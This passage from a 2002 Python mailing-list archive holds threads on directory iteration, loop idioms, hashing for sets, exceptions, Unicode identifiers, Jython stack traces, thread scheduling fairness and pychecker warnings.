else: result = result + '' result = result + object.title + '
' result = result + '' + object.summary \ + '' result = result + '[
View]' result = result + '[Edit]
' return result # completely refactored, no redundancy (579 chars) def listView(listOfObjects): result = [] a = result.append href = '[%s]' img = '' for object in listOfObjects: if object.objectType in ['folder', 'content holder']: a(img % 'folder.gif') else: a(img % 'content.gif') a('%s
' % object.title) a('%s' % object.summary) oId = object.id a(href % ('view', oId, 'View')) a(href % ('edit', oId, 'Edit')) a('
') return ''.join(result) # template based (539 chars) def listView(listOfObjects): result = [] rTxt = """ %(title)s
%(summary)s [View] [Edit]
"" for object in listOfObjects: if object.objectType in ['folder', 'content holder']: vars_ = {'type':'folder'} else: vars_ = {'type':'content'} vars_.update(vars(object)) result.append(rTxt % vars_) return ''.join(result) # Best practice (519 chars) def listView(listOfObjects): result = [] a = result.append for object in listOfObjects: if object.objectType in ['folder', 'content holder']: a('') else: a('') a('%s
' % object.title) a('%s' % object.summary) a('[View]' % object.id) a('[Edit]
' % object.id) return ''.join(result) From mwh at python.net Wed May 22 06:21:47 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 10:21:47 GMT Subject: reading directory entries one by one References: Message-ID: "Michael P. Soulier" writes: > Greetings. > > I'm aware that one can iterate over a directory's contents via the > listdir() function in the os module. > > for file in os.listdir(dir): > > However, this does read in the entire directory into memory. As a C coder, > I can opendir and readdir and iterate the directory file by file, in case > sucking the entire thing into memory would be too resource intensive on large > directories. How big are your directories? I'd be surprised to find this was ever an issue, but... > Is there such an option for Python? Don't think so. Wouldn't be that hard, though you'd have to write some C. Hmm, might be a cool application of iterators. Hmm, thinking aloud, would it be possible/nice to be able to do: for entry in dir("/"): if entry.isdir(): print "skipping", entry.basename elif entry.islink(): print entry.readlink() else: print entry.basename, len(entry.open('r').read()) ? Like I said, hmm. Cheers, M. -- ... Windows proponents tell you that it will solve things that your Unix system people keep telling you are hard. The Unix people are right: they are hard, and Windows does not solve them, ... -- Tim Bradshaw, comp.lang.lisp From cliechti at gmx.net Tue May 28 18:22:32 2002 From: cliechti at gmx.net (Chris Liechti) Date: 29 May 2002 00:22:32 +0200 Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: Jeff Epler wrote in news:mailman.1022619227.16027.python-list at python.org: > Why not abuse the 'for' statement, since it performs an assignment to a > user-determined name? > > Instead of > x = v > if x: > ... > you can write > for x in G(v): > ... i don't like that, it doesn't show the programmers intention... it implies that there is a loop but there isn't one realy. > and instead of > while 1: > x = f() > if not x: break > ... > you can write > for x in H(f): > ... this isn't that bad if you have a very good name for H. but are thre realy that many usages? most often f is readline but now we can iterate over files. could be interesting in list comprehensions, though. > Given suitable names for G() and H() (and I haven't thought of any yet) > does anybody favor this over the "pythonic" syntax? all the effort just to hide "if not x: break" in H... apart frame making the loop slower due to a function call it doesn't increase readabilty for me. the other problem is that its limited to a function and it won't be realy useful until you have curry'ing at hand too. > Personally, I think > I'll stick to doing it in the old-fashioned way, but I wanted to share > my idea with the world... Puh, we're lucky . what i realy would like is to have some functional stuff in a module and there maybe something like H would have its place. chris > Jeff Epler > jepler at unpythonic.net > > def G(v): > if not v: return () > return (v,) or: G = lambda v: (v,)*bool(v) hey, maybe we could do some Python golfing despite some worries about the clean syntax > def H(f): > while 1: > v = f() > if not v: break > yield v -- Chris From op73418 at mail.telepac.pt Tue May 21 07:47:02 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Tue, 21 May 2002 12:47:02 +0100 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> <6qd6vpx414.fsf@abnoba.intevation.de> Message-ID: <1rckeu8gs6l1oqnj21fm3e5qi35qoes0lk@4ax.com> On 21 May 2002 11:07:35 +0200, Bernhard Herzog wrote: >Gon?alo Rodrigues writes: > >> >If an object is stored in a dict as a key, the only things that matter >> >are that >> > >> >1. its hash value doesn't change as long as the object is used as a key. >> >> Doesn't this mean, in practice, that it is immutable? > >Not necessarily. If the hash value can change if the state of the object >changes, you have to make sure that you don't change the object in such >a way as long as it's used as a key in a dict. > >The easiest way to achieve this is of course to have the hash value >constant for the life-time of the object. > >> To me, this requirement is just shifting responsabilities from one >> place to the other and not really solving the problem. > >It may, yes. It's certainly not the best solution for objects in a set. > >> >2. equal objects have equal hash values >> > >> >There may be some more subtle requirements. I'm not sure what happens >> >when two objects that have the same hash value but do not compare eqal >> >at first later become equal, for instance. >> >> I believe 2. is more stringent: >> >> equal objects iff equal hash values > >That can't work. Hash values are ints which today means that it's a C >long and therefore either 32bit or 64 bit on most machines. Obviously >there are far fewer possible hash values than strings for instance, so >there must be at least two strings which are unequal but have the same >hash value. > Ah, thanks for the clarification. Since nowadays I only program in Python, when I see int i see integer-arbitrarily-big. >An easy example for hashes of ints: > >Python 2.2 (#1, Jan 17 2002, 21:04:07) >[GCC 2.95.4 20011006 (Debian prerelease)] on linux2 >Type "help", "copyright", "credits" or "license" for more information. >>>> -1 == -2 >0 >>>> hash(-1) == hash(-2) >1 >>>> > >Most of the time, i == hash(i) for any python int except -1, because -1 >is indicates an error in the C-level equivalent of __hash__. > > Bernhard Best regards, Gon?alo Rodrigues From emile at fenx.com Thu May 30 02:54:15 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 06:54:15 GMT Subject: Exceptions References: Message-ID: destr0 > I'm having trouble with exceptions. I'm writing a program where I want to > catch an exception and extra data and use that data to send an email. > > def func1(): > raise queryError, "There was an Error" > #first of all.. .am I giving the exception name properly? > > try: > func1() > except: > #I'm having trouble putting together a statement here to #grab the > extra data I sent to use for something else. > > do I use: > except queryError, data: > print data > > When I do this I get mixed results.. sometimes it seems to throw an extra > name exception for queryError. Also.. I don't like this.. because I'd like > to be able to catch all exceptions and latch on to their data, instead of > explicitly writing a catch statement for each exception I might have . > > Assuming you have something like this preceding the above: import sys class queryError(Exception):pass you could use: try: func1() except Exception, data: print 'the data is:',data print 'other info:', sys.exc_info() HTH, -- Emile van Sebille emile at fenx.com --------- From pinard at iro.umontreal.ca Wed May 8 15:02:19 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 15:02:19 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Martin v. L?wis] > pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > > There is a lot of in-house development, not meant to be exported, that > > would be _so_ much more comfortable if we could use our own language > > while programming. > You can do that in comments. You cannot do that in the program, since > all keywords remain English-based. The suggestion of repeating code into comments is just not practical. > Modifying the compiler so that it supports one language (with one encoding) > is one thing; modifying it that it supports arbitrary languages (with > arbitrary encodings) is a different problem; existing code may break if > you make this kind of extension. Existing code is not going to break, as long as English identifiers stay a subset of nationally written identifiers. Which is usually the case for most character sets, Unicode among them, allowing ASCII letters as a subset of all letters. > So a "it would be nice" is not a strong-enough rationale for such a > change - "I really need to have it, and I accept to break other > people's code for getting it" would be, if enough people voiced that > position. A great deal of recent Python changes were to make it nicer in various ways. None were strictly unavoidable, the proof being that Python 1.5.2 has been successfully used for many things, and could still be. We should not merely vary the height of the "strong-enough rationale" bar depending on our own tastes, as this merely gives a logical sounding to relatively pure emotions. Having the capability of writing identifiers with national letters is not going to break other people's code, this assertion looks a bit like gratuitous FUD to me. Unless you are referring to probable transient implementation bugs which are normal part of any release cycle? Python has undergone changes which were much deeper and much more drastic than this one would be, and the fear of transient bugs has not been a stopper. If many people had experienced the pleasure of naming variables properly for their national language while programming, I guess most of them would be rather enthusiastic proponents on having this capability with Python, today. As very few people experienced it, they can only imagine, without really knowing, all the comfort that results. Python is dynamic and interesting enough, in my opinion, for opening and leading a worth trend in this area. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From roymath at yahoo.com Thu May 2 14:18:52 2002 From: roymath at yahoo.com (Roy Mathew) Date: 2 May 2002 11:18:52 -0700 Subject: getting java stacktrace info in jython Message-ID: <7b408077.0205021018.10d69f04@posting.google.com> Folks, I am trying to get a detailed java stacktrace (specifically all the information I can on an UnsatisfiedLinkError) from jython. However, jython seems to swallow all the java detail. How do I get around this? For example try: ... do something with java except: for val in sys.exc_info(): print val produces: java.lang.UnsatisfiedLinkError java.lang.UnsatisfiedLinkError: NCreateSession but the traceback only has the jython (ie: python code) information. Thanks, Roy Mathew (roymath at yahoo.com) From sholden at holdenweb.com Fri May 10 12:10:59 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 12:10:59 -0400 Subject: Python stagnating? References: Message-ID: "Aahz" wrote in message news:abes89$4ov$1 at panix1.panix.com... > In article , > Steve Holden wrote: > >"Aahz" wrote ... > >> In article , > >> Chris wrote: > >>> > >>>What is the status of Python development? Or the supporting > >>>organization? I notice a lot of links in the FAQ and other documents > >>>are outdated/broken, and surfing the web I saw a lot of references to > >>>the "Python Starship" but it looks like it hasn't been updated in a > >>>few years... > >> > >> If you're referring to broken links on python.org, please send e-mail to > >> webmaster at python.org. Starship has been somewhat stagnant for a while, > >> but there's been some recent discussion about reviving it. > >> > >> Python development, of course, is anything but stagnant, as any number > >> of threads complaining about too much change would tell you. ;-) > > > >I'm just running webchecker on www.python.org, and it does appear that there > >are a number of broken links. Should I send the output to webmaster? > > Sure! You wanna be really helpful, set up a cron job to automatically > do this once per month. ;-) Well, since webchecker is currently telling me: Round 413 (22987 total, 2436 to do, 20551 done, 732 bad) I guess there's a reason this isn't being done every month. From the look of it a lot of the bad links are in the documentation of older versions, but I'll summarise the results when (if) the job finishes. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From kragen at pobox.com Thu May 23 03:10:17 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 23 May 2002 03:10:17 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <83661fgx0m.fsf@panacea.canonical.org> "Terry Reedy" writes: > Newcomer Troll: Ha ha. I just ran a comparative test and Python is > WAAAY slow. > > Pythoneer: Can you give us some details? > > NT: Yeah. My turbo-lang version took 1/100 second and Python took a > *whole* second -- 100 times slower. For an example, where Python came out to be 140 times slower than C in a simple test, see http://lists.canonical.org/pipermail/kragen-tol/2000-April/000571.html --- fib(33), using the straightforward exponential-time algorithm, was the microbenchmark. For lots more examples, see the Great Computer Language Shootout, at http://www.bagley.org/~doug/shootout --- the above performance is pretty average, although Python fares considerably better in the "real" problems (each program does the same thing) than in the "artifical" problems (each program is written the same way). From i.linkweiler at gmx.de Wed May 29 12:19:13 2002 From: i.linkweiler at gmx.de (Ingo Linkweiler) Date: Wed, 29 May 2002 18:19:13 +0200 Subject: Python @ Education: What are your problems? References: <3CF48E09.8C331FEA@gmx.de> <20020529124201.6c5805cc.wilk@flibuste.net> Message-ID: <3CF4FF81.1DDEA9EC@gmx.de> > standard library not homogeneous Can you give some examples? Ingo From whisper at oz.net Fri May 17 15:50:10 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 12:50:10 -0700 Subject: might compatibility become a *goal*? In-Reply-To: <1021652963.460304@cswreg.cos.agilent.com> Message-ID: Backwards compatability is a good thing - but not if it's at the expense of hobbling the language! Languages, spoken or computer, evolve or die. Cobol, Fortran, Java, C, C++ have all evolved in incompatible ways from their initial offerings. It's been my (limited) experience that old python code runs on new python releases at the worst with minimal glitches that are obvious and easily changed to conform with the newer language feature(s). OTOH, there have been changes in some of the other languages that have been considerably worse to deal with: the change in formal paramter lists in C functions being an excellent case in point. Going and adding type specifiers to formal argument lists in a large C program taketh long and paineth arse. Maybe it would be a good idea to create a utility for Python that looks at code and reports anachronisms. Part of PyChecker perhaps? Even better and more challenging is something that can refactor the code on the fly - that most certainly is left as an exercise for the reader! :-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Greg Weeks > Sent: Friday, May 17, 2002 9:29 > To: python-list at python.org > Subject: might compatibility become a *goal*? > > > Python is not backward compatible. New versions of python don't work with > old code. (The redefinition of "/" is an example of this.) My hunch is > that C, C++, and perhaps even Perl are considerably more backward > compatible than Python. > > [I should perhaps note that *exact* backward compatibility isn't a > reasonable goal for Python. For example, increasing the visibility of > nested scopes breaks the following code: > > def f(a): > def g(): > print a > g() > try: f("hello") > except: print "bye" > > In 1.5.2, "bye" is printed. In 2.1, "hello" is printed. But this is an > absurd example, where the programmer achieves an effect with deliberate > perversity. Putting such goofy code aside, I suspect that backward > compatibility is a reasonable goal.] > > Backward compatibility does not seem to be a goal of the controllers of > Python. (Is that just Guido?) Indeed, lack of backward compatibility > seems to be an expected "feature" of Python, given the introduction of the > __future__ module. On the other hand, if enough people wanted backward > compatibility, it might be possible to make it a goal that, say, all > Pythons after 3.0 will be backward compatible with (nongoofy) 3.0 code. I > for one would feel happier if that was the case. Is that a feasible goal? > Does anyone else think it might be worthwhile? > > > no longer complaining about TIMTOWTDI, > Greg > -- > http://mail.python.org/mailman/listinfo/python-list From kseehof at neuralintegrator.com Sat May 4 20:58:12 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Sat, 04 May 2002 17:58:12 -0700 Subject: making python scripts backwards compatible In-Reply-To: Message-ID: Shaleh wrote: > ... > I find it particularly annoying that the python group makes this > assumption we > are all running last week's python. Not everyone owns the machine their > scripts run on. Me too :-) I find it even more annoying that the python group makes the assumption that I don't need lots of money and a really big house in Hawaii. They should each send me $250.00 and tell their friends to do the same. I would really appreciate it :-) - Ken Seehof From spam at yourself.com Sat May 18 18:40:42 2002 From: spam at yourself.com (Ingo Blank) Date: Sun, 19 May 2002 00:40:42 +0200 Subject: Threading unfairness References: Message-ID: "Matt Kimball" schrieb im Newsbeitrag news:mailman.1021755390.32649.python-list at python.org... > While writing some multithreaded GUI code with ActivePython 2.2.1 under Windows > XP, on a single processor machine, and I noticed that my user-interface thread > was very unresponsive when I had a background computation thread going. This > annoyed me. It seemed like the main thread where the GUI code was running was > being starved of CPU time. Since there doesn't seem to be any way to set thread > priorities with Python, I "fixed" the problem with inserting frequent > 'time.sleep(0)' calls in my compute-intensive thread, and that seemed to give my > main GUI thread more time to execute when a user-interface event occurred. > > However, it got me wondering just how bad the situation was, so I wrote a simple > program to test Python threads, and find the maximum time that individual > threads go without getting any CPU time. Interestingly, the problem seems worse > with a low number of threads. In the case of only the main thread and one > thread spawned by the main thread, I see execution gaps of ~0.25 seconds. That > is, each thread is getting a full 0.25 second execution time without the other > thread executing at all! However, if I increase the number of thread spawned by > the main thread to 10, it seems much better. Nine out of ten spawned thread and > the main thread have a maximum gap time of ~0.005 seconds, which seems much more > reasonable to me, but the first thread spawned by the main thread has an > execution gap of ~0.17 seconds, every time. > > Here is a typical case of one spawned thread: > > Thread Gap time > > main 0.241325084613 > thread1 0.292677141927 > > Three spawned threads: > > Thread Gap time > > main 0.100827339788 > thread1 0.163031893718 > thread2 0.100502438159 > thread3 0.100673130244 > > Five spawned threads: > > Thread Gap time > > main 0.00585884518841 > thread1 0.174716898377 > thread2 0.00717269932352 > thread3 0.00577838803542 > thread4 0.00579235629107 > thread5 0.00580353089572 > > > Ten spawned threads: > > Thread Gap time > > main 0.00570351818465 > thread1 0.175031463496 > thread10 0.00545823561356 > thread2 0.00513724509665 > thread3 0.00610692141026 > thread4 0.0051269085875 > thread5 0.00494085142122 > thread6 0.0050587434996 > thread7 0.00564568960567 > thread8 0.00589795630435 > thread9 0.00749285174516 > > > The code I used to measure this is at http://matt.kimball.net/test_thread.py -- > Maybe someone wants to look it over to make sure I'm not doing anything funny, > and run a few tests on other operating systems to see how they differ. > > I think this behavior is probably highly operating system dependent. The python > interpreter is assuming the OS will do something reasonably fair when it gives > up the global interpreter lock, but it looks like this isn't the case, at least > under Windows XP. Still, it would be nice if something could be done to make > threading execution more fair, but I'm not sure how to do this without creating > some sort of scheduler in the python interpreter itself. > > Is there anything which can be done? > > Is the problem as bad under other operating systems? > > Am I insane to try to do anything in the neighborhood of soft-realtime with > Python? > > -- > Matt Kimball > matt at kimball.net > Although I don't understand what you want to achieve with your test, I downloaded and run it under Windows 2000 Pro. Regardless how much threads it spawns, I tried 2 -10, it yields an empty list here. So I inserted a statement to dump the list. Maybe that helps you ... ===================== threads=2 [['thread1', 0.0010048763180795324], ['thread2', 0.30240240030506671], ['main', 0.39534354226584661]] Thread Gap time threads=4 [['thread1', 0.0010048763180795324], ['thread2', 0.30136707318946959], ['thread3 ', 0.60282382258080291], ['thread4', 0.90467950535612762], ['main', 0.9970795170 8946252]] Thread Gap time threads=6 [['thread1', 0.0010023620320459723], ['thread2', 0.301279073178295], ['thread3', 0.60228045743243908], ['thread4', 0.90370312427976185], ['thread5', 1.204664000 592254], ['thread6', 1.5053779181432279], ['main', 1.5845150710495328]] Thread Gap time threads=8 [['thread1', 0.0010043175878498524], ['thread2', 0.3018732827775597], ['thread3' , 0.60322694644151698], ['thread4', 0.9041073656009353], ['thread5', 1.205502095 9367742], ['thread6', 1.5066381341762711], ['thread7', 1.8069075818295341], ['th read8', 2.1083386296303024], ['main', 2.2006606984965966]] Thread Gap time threads=10 [['thread1', 0.0010051556831943724], ['thread2', 0.30162017798351465], ['thread3 ', 0.60236398760177623], ['thread4', 0.90368384808683788], ['thread5', 1.2039647 497098094], ['thread6', 1.5042448132374366], ['thread7', 1.8056222229361554], [' thread8', 2.1058894356684998], ['thread9', 2.4071897405955225], ['thread10', 2.7 074871247602696], ['main', 2.7877696746374188]] Thread Gap time ========================= --ingo voy NG arktb QBG qr [ rot13 ] PGP PublicKey http://keys.pgp.com:11371/pks/lookup?op=get&search=0x18B44974 From mwh at python.net Thu May 16 06:04:53 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 16 May 2002 10:04:53 GMT Subject: beginner question: extending python types References: <3CE318F4.5030506@horvath.com> Message-ID: Bob Horvath writes: > Jeremy Yallop wrote: > > * Uwe Mayer > > | I found Python lacking the type of a "set". i.e. an unordered list. > > Use a dictionary, with the same value (1) for every key. > > > > Is there any significance to the value 1? In this context, no. It might be a tad confusing to have something that was false, so None, 0 and () might be bad choices. But I don't think there's a good reason. Cheers, M. -- I've reinvented the idea of variables and types as in a programming language, something I do on every project. -- Greg Ward, September 1998 From claird at starbase.neosoft.com Thu May 16 08:13:02 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 16 May 2002 07:13:02 -0500 Subject: A pure Python solution that works like expect ???? References: Message-ID: <87B37A5BE95E9BD9.2F102ECD7EC8B929.2FF412C1A0EFCCF3@lp.airnews.net> In article , Lance Ellinghaus wrote: > >The PySSH library does not work when you must specify the password. >Must I break down and use Perl for this? The Perl modules work >correctly for this.. I just did not want to have to write it all in >Perl. > >This is running on Solaris 2.8. >I cannot disable the password requirement due to the hardware I am >using SSH to connect to, so please do not suggest that. . . . Perhaps you're out of luck. Perl is able to make lower-level interface calls than Python. It wouldn't surprise me if Python's unable to manage passwords as you want without a C-coded exten- sion. I haven't done a complete analysis, though. It doesn't make sense to me that hardware would pre- clude you from using keys in place of passwords. In the absence of more details, I'll trust that. If I wanted to get something going quickly, and the situation is as you describe, I'd use Expect.pm or Expect, rather than Python. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From garry at sage.att.com Tue May 21 09:41:02 2002 From: garry at sage.att.com (Garry Hodgson) Date: Tue, 21 May 2002 13:41:02 GMT Subject: pop3filter 0.1 References: <3ce5460b.17677734@news.t-online.de> <3ce68333_6@goliath.newsgroups.com> Message-ID: <3CEA4E6E.97DFA68C@sage.att.com> Brad Clements wrote: > Maybe next time you could use Pegasus Mail or Mercury/32 to filter you mail, > without all the effort. > > (no slight intended, just info) > > http://www.pmail.com doesn't run on linux. no thanks. -- Garry Hodgson Let my inspiration flow Senior Hacker in token rhyme suggesting rhythm Software Innovation Services that will not forsake me AT&T Labs 'til my tale is told and done. garry at sage.att.com From tl_news at nexgo.de Thu May 16 17:15:49 2002 From: tl_news at nexgo.de (Tino Lange) Date: Thu, 16 May 2002 23:15:49 +0200 Subject: Leading zeroes problem References: <3ce41ce2_1@goliath2.newsgroups.com> Message-ID: On Thu, 16 May 2002 23:04:57 +0200, jb wrote: >How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating point >numbers this does not work. Try this: >>> print '%04.1f' % 0 00.0 here are some hints: http://www.python.org/doc/current/lib/typesseq-strings.html Tino From cbbrowne at acm.org Sat May 4 23:18:32 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Sat, 04 May 2002 23:18:32 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> Message-ID: The world rejoiced as "deckerben" wrote: > Greetings. > > I am just asking for someone's opinion. I want to pick a scripting language. > > I have decided that the black-and-white approach of 'just know C and Java' > may not be sufficient. I ahve several windows scripts (batch files) that I > would like to re-write in the language of a single interpreter. > As part of my experimentation, I ported the Python source (2.5 and 2.0.1) to > DOS using DJGPP. > > First, I need to re-write some PC batchfiles that do just about everything > (string manipulation, computation, sub-process calling, system > variable-setting, etc.) in the single scripting language of just one > interpreter. That is, I want to illiminate the need to call an outside > executable to handle a certian task as much as possible (to increase speed). > But the interpreter needs to be as flexible as a shell prompt in its ability > to handle command-line arguments, file I/O, and extern-executable calls. > > BTW: Can Python temporarily 'shell' to an external executable? > > I am currently considering: PERL, JAVASCRIPT, PYTHON and LISP. > > Which would work the best? Javascript would be a pretty silly choice, of the bunch. Its main purpose is for popping up irritating screens on web browsers. If you're competent in your use of them, _any_ of the others ought to work fine. All of them should be quite capable of satisfying the requirements you describe. (I'm assuming that by "LISP" you mean "Common Lisp;" if that be the case, you probably want to use the CLISP implementation...) > Which one of these languages has the greatest demand for programmers > at the moment? There are probably more paying jobs associated with Perl than with any of the others; Common Lisp is probably the obscure one of the bunch. > Is there another language I should consider? Your list should also include Ruby, and it's probably also worth taking a _quick_ look at REXX which is more mature than any of the other options out there. (I first ran into REXX back before Perl existed as a language; it was vastly preferable to EXEC2, which was the typical alternative...) -- (reverse (concatenate 'string "gro.gultn@" "enworbbc")) http://www.cbbrowne.com/info/multiplexor.html "Windows has detected that a gnat has farted near your computer. Press any key to reboot." --- Simon Oke in the scary devil monastery From tundra at tundraware.com Sun May 19 22:30:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Mon, 20 May 2002 02:30:02 GMT Subject: Python Usage References: Message-ID: <3CE85F6D.65E4AAD@tundraware.com> "cddlens at yahoo.com" wrote: > > I'm currently investigating Python for potential > company adoption, and it seems to be quite powerful. > I have some fundamental questions however: > > Is Python commonly used throughout an enterprise (such > as within IT, MIS) for script generation, or mostly by > software groups and teams that have dedicated > programmers writing full-blown applications? Is often > used by system managers as a replacement for batch > files or multiplatform scripting? Is it more common > within software/technology organizations or within > other sectors such as financial and manufacturing? > I am relatively new to Python but have a fair bit of experience in industry, so take these observations in that context: 1) perl is probably more common as a scripting tool and so too is VB script. But, perl is (or can be) a maintenance headache and VBS is missing some essential features such as cross-platform support and regular expression handling. Python, IMO, is starting to get a lot of buzz in this community and is on the upswing. 2) Judging from the posts here and snooping around the web, it seems clear that Python is very popular in communities where computing is essential, but not the central element of the work. Examples include scientific applications, reducing and analyzing large data sets, data conversion, and so on. -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From max at alcyone.com Mon May 20 23:34:39 2002 From: max at alcyone.com (Erik Max Francis) Date: Mon, 20 May 2002 20:34:39 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <3CE95E02.BAC56F61@alcyone.com> Message-ID: <3CE9C04F.3AD43103@alcyone.com> Huaiyu Zhu wrote: > There need to be a different equal operator === (read as "always > equal") > that is used to compare keys. No doubt such a proposal immediately would doom a revised PEP to failure. But that isn't the real issue. The problem with hash/identity collisions within a set is not that defining some metaequality is problematic (which it is), it's that after the set has been created, a mutable object can have its value changed, potentially even to something that clashes with another object (mutable or not) in the same set. Python, as far as I know, does not have any facilities for some kind of implicit callback to containers that happens whenever an object changes state, and so this means that once you've already placed mutable objects in a set, they can change value willy nilly and completely break the invariant of the set (namely that no two contained objects are identical), essentially defeating the whole purpose for the set in the first place. This issue exists regardless of whether you come up with some concept of metaequality or not; it will be present as long as the set can contain mutable objects. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From andrewm at object-craft.com.au Tue May 21 21:32:35 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Wed, 22 May 2002 11:32:35 +1000 Subject: Is python really slow? In-Reply-To: Your message of "Tue, 21 May 2002 19:12:19 CST." <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> Message-ID: <20020522013235.6857538F50@coffee.object-craft.com.au> >> I am now learning Python. I am a bit disheartened at how common it seems >> to code only some of a program in Python and use C for other parts, >> [...] > >Python is not slow at all. There are however tasks that you would not >normally do in a scripting language (heavy number crunching etc.). One >of the good things about Python is that you can still write those types >of applications in Python and only write the performance critical parts >in C/C++ versus writing the entire application in C/C++. It's worth mentioning the Numeric/Numpy module and associated extensions provides a lot of C-coded number crunching goodness for the Python-only coder. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From rnd at onego.ru Thu May 16 13:31:15 2002 From: rnd at onego.ru (Roman Suzi) Date: Thu, 16 May 2002 21:31:15 +0400 (MSD) Subject: pychecker question In-Reply-To: Message-ID: On Thu, 16 May 2002, Neal Norwitz wrote: >On Mon, 13 May 2002 09:29:46 -0400, Roman Suzi wrote: > >> Hi! >> >> I am pychecking my code and am getting lots of: >> >> stable.py:210: Variable (path) used before being set >> stable.py:210: Variable (split) used before being set >> stable.py:224: Variable (strip) used before being set >> stable.py:226: Variable (index) used before being set >> stable.py:261: Variable (join) used before being set >> stable.py:261: Variable (replace) used before being set >> >> These are caused by from-import statements inside functions, >> schematically: >> >> def f(x): >> from m import y >> return y(x) >> >> Is it really considered bad to use from-import inside function >> definition? (I did it because I wanted to state clearly which functions > >I don't think it is particularly bad. It could be a bug in pychecker. >Which version of pychecker & python? python 1.5.2 (same with 2.1, IIRC) pychecker-0.7.5 $ rpm -qf /usr/bin/pychecker pychecker-0.7.5-1 [rnd at rnd rnd]$ cat aaa.py def f(x): from m import y return y(x) [rnd at rnd rnd]$ pychecker aaa.py Processing aaa... Warnings... aaa.py:1: No module doc string aaa.py:6: Variable (y) used before being set >> I am using from there. And I do not want to use it at the module level, >> like that: >> >> from m import y >> def f(x): >> return y(x) >> >> as I think it will increase the number of imports. > >Actually, this will decrease the number of imports. This will be done >only once for the whole program. Whereas if the import occurs within a >function, the byte codes will be executed for each function call. The >import work (actually reading file, etc) will still only be done once, >regardless of where the import is. I am using modules with individual scripts, so the less module to load, the better. >> Another question. Is there any front-end to pychecker to show code in >> proper context and an ability to silence certain warnings just like I do >> in ispell if I consider some word correct? > >There is a simple GUI which isn't documented: pychecker/options.py. But >you are probably much better off with an IDE, emacs, boa, or wingide. >(I've only used emacs.) pychecking from Emacs? I can't find anything under C-h b in python-mode... >There are many ways to silence warnings: using __pychecker__ in your >code, .pycheckrc file, or the command line all work. Probably the best >way is .pycheckrc. There is a sample one in the distribution (pycheckrc). Can't locate it on my machine... > The main page should have a brief description of most of this info: >http://pychecker.sf.net. > >Neal Thank you Neal Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Thursday, May 16, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "Can't learn to do something well? Learn to enjoy doing it badly!" \_ From bh at intevation.de Fri May 17 05:39:33 2002 From: bh at intevation.de (Bernhard Herzog) Date: 17 May 2002 11:39:33 +0200 Subject: how to determine an 'open' string? References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> <20020516232456.P28033@prim.han.de> <20020517110640.54ed274d.larooy@xtar.co.nz> Message-ID: <6q1ycbyuy2.fsf@abnoba.intevation.de> holger krekel writes: > def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): > """ return the open quote at the end of text. > if all string-quotes are matched, return the > empty string. thanks to Harvey Thomas&John La Roy. > """ > rfunc = lambda x,y: x=='' and y or not y.startswith(x) and x or '' > quotes = rex.findall(text) > return quotes and reduce(rfunc,quotes) or '' This doesn't even look at backslashes in the string. >>> open_quote("'\\'") # should return "'" '' Since you're trying to parse python source code: why don't you try the tokenize module? Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From gcordova at hebmex.com Fri May 10 17:55:24 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 10 May 2002 16:55:24 -0500 Subject: Which GUI Library to Use Message-ID: A question: Is designing and making a GUI toolkit a'la Tk, with only the most basic stuff written in C (native GUI interface, speed stuff, etc) and the rest written in Python, doable? I can't help thinking that building something like that would be very interesting. Opinions? Would it be worth the effort? -gus From owen at nospam.invalid Thu May 9 